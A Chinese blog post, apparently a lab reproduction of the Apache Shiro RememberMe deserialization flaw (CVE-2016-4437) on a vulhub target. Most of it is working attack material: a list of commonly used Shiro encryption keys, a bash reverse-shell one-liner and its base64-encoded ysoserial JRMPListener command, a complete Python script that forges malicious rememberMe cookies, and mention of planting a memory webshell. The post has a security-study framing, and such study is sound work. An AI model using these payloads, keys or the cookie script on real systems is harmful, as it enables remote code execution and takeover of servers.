shiro反序列化漏洞复现(CVE-2016-4437 )

1、简介

Apache Shiro是一个强大且易于使用的Java安全框架,提供认证、授权、加密以及会话管理功能。CVE-2016-4437具体涉及了Apache Shiro在使用记住我(RememberMe)功能时的反序列化漏洞。

2、漏洞原理

原因在于Apache Shiro对加密的RememberMe cookie的处理。在正常情况下,RememberMe功能让用户在返回网站时不用再次登录。为了提供这种功能,Shiro需要在客户端和服务器之间安全地传输身份验证数据。Shiro通过使用AES加密算法加密身份验证数据来实现这一点,然后将加密后的数据存储在cookie中。但是由于Shiro在版本1.2.4之前没有正确地验证加密数据,导致了可能的漏洞

3、影响范围

Apache Shiro <= 1.2.4

4、启动环境

利用docker启动vulhub环境

浏览器访问靶机IP加8080端口,搭建成功页面。

5、漏洞复现

随意输入账密点击登录并burp抓包,返回包中存在rememberMe=deleteMe字段,证明使用了shiro框架(注意:返回包中存在ememberMe=deleteMe字段,只能证明使用了shiro,并不能代表一定存在反序列化漏洞)

burp插件ShiroScan,检测到可能存在漏洞(八九不离十是存在漏洞的)

 ​​​​​​​简单说一下插件的安装,将下载好的包解压,参考下图添加插件。插件地址

上工具爆破key工具地址

可以命令执行

shiro反序列化常用key

kPH+bIxk5D2deZiIxcaaaA==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
4AvVhmFLUs0KTA3Kprsdag==
5aaC5qKm5oqA5pyvAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
bWljcm9zAAAAAAAAAAAAAA==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
zSyK5Kp6PZAAjlT+eeNMlg==
U3ByaW5nQmxhZGUAAAAAAA==
4AvVhmFLUs0KTA3Kprsdcg==
5AvVhmFLUs0KTA3Kprsdag==
bXdrXl9eNjY2KjA3Z2otPQ==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
L7RioUULEFhRyxM7a2R/Yg==
r0e3c16IdVkouZgk1TKVMg==
bWluZS1hc3NldC1rZXk6QQ==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==

 输入如下命令克隆ysoserial工具源码。或直接离线下载(本文是离线下载)

git clone https://github.com/frohoff/ysoserial.git

解压进入ysoserial-master目录

unzip ysoserial-master.zip

cd ysoserial-master

输入如下命令编译打包

mvn package -D skipTests    (需要安装maven方可使用mvn命令)

编译打包的过程中遇到了报错,提示缺少该javax.interceptor-api:jar:3.1依赖。

解决方法:需要更新maven的仓库源

mvn -version    #查看maven的安装目录

进入以下目录

cd /usr/local/maven/apache-maven-3.9.6/conf

添加阿里云仓库源

vim settings.xml

<mirror>
      <id>alimaven</id>
      <name>aliyun maven</name>
       <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
      <mirrorOf>central</mirrorOf>
</mirror>

重新输入以下命令编译打包

mvn package -D skipTests

编译打包成功

 反弹shell,构造反弹shell命令并进行加密。推荐地址

bash -i >& /dev/tcp/192.168.15.128/4444 0>&1

利用ysoserial中的JRMP监听模块,监听6666端口并且执行反弹shell命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}'

构造cookie内容生成payload。

python shiro.py 192.168.15.128:6666

shiro.py脚本内容如下

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print ("rememberMe={0}".format(payload.decode()))

如果出现下图报错,执行下面命令解决

​​​​​​​

pip uninstall crypto pycryptodome
pip install pycryptodome

nc监听4444端口

nc -lvvp 4444

利用burp,将生成的payload插入至cookie中。

正常情况会反弹shell,很烦,这里没有反弹成功,但是JRMP是有回显的

生气,很生气,有知道的大佬给点意见,是哪里出现了问题还是其他原因。

利用工具注入内存马

上蚁剑连接

连接成功

6、修复建议

根据官方要求将shiro升级至无漏洞版本。

  • 21
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值